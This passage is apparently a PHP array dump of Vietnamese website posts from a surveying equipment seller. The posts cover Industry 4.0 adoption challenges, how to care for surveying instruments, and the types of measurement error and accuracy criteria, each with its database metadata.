<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
</p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p>
<ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p>
<ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p>
<ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p>
<ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p>
',
'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-05-20',
'modified' => '2025-08-10',
'status' => '1',
'view' => '62998',
'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '941',
'rght' => '942',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 2 => array(
'Post' => array(
'id' => '537',
'name' => 'Cách bảo quản thiết bị trắc địa đúng cách',
'code' => null,
'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>',
'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br />
- Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br />
- Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br />
- Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br />
Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br />
- Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br />
- Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br />
- Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br />
- Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br />
- Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br />
- Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br />
- Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br />
- Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br />
<br />
Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br />
</span></span>',
'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-05-03',
'modified' => '2025-08-10',
'status' => '1',
'view' => '74548',
'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '939',
'rght' => '940',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 3 => array(
'Post' => array(
'id' => '536',
'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo',
'code' => null,
'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div>
